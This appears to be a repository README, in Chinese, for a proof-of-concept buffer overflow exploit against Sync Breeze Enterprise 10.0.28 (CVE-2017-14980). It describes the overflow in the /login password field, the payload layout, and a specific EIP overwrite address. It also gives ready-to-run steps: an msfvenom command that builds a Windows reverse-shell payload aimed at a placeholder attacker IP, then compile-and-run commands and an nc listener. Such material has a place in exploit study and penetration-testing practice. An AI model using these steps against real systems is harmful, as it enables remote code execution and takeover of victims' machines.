漏洞利用 - CVE-2017-14980 - Sync Breeze Enterprise v10.0.28

本仓库包含一个针对 Sync Breeze Enterprise 10.0.28 版本的**缓冲区溢出利用（BOF）**概念验证，针对漏洞 CVE-2017-14980。

描述

该漏洞源于在处理向 /login 端点发送的 POST 请求中的 password 字段时存在不当输入验证。
攻击者可在此字段中发送超长值，从而覆盖 EIP 并允许任意代码执行。

此漏洞利用发送精心构造的有效负载，包含：

• 520 字节填充（'A'）
• 4 字节覆盖 EIP
• 20 字节 NOP sled
• Windows x86 shellcode，可自定义以执行任意命令

工作原理

1. 漏洞利用构建包含嵌入 shellcode 的恶意缓冲区。
2. 向易受攻击的服务器发送 HTTP POST 请求，将有效负载置于 password 字段中。
3. 在处理请求时，应用程序覆盖指令指针（EIP）并执行攻击者提供的 shellcode。

要求

• 一个 C 编译器（如 gcc）
• 可访问运行 Sync Breeze Enterprise 10.0.28 的目标网络
• 必要时调整 EIP 地址（\x83\x0C\x09\x10）和 shellcode

使用 msfvenom 生成 shellcode 示例：

msfvenom -p windows/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f c

gcc exploit.c -o exploit
./exploit

nc -nlvp 4444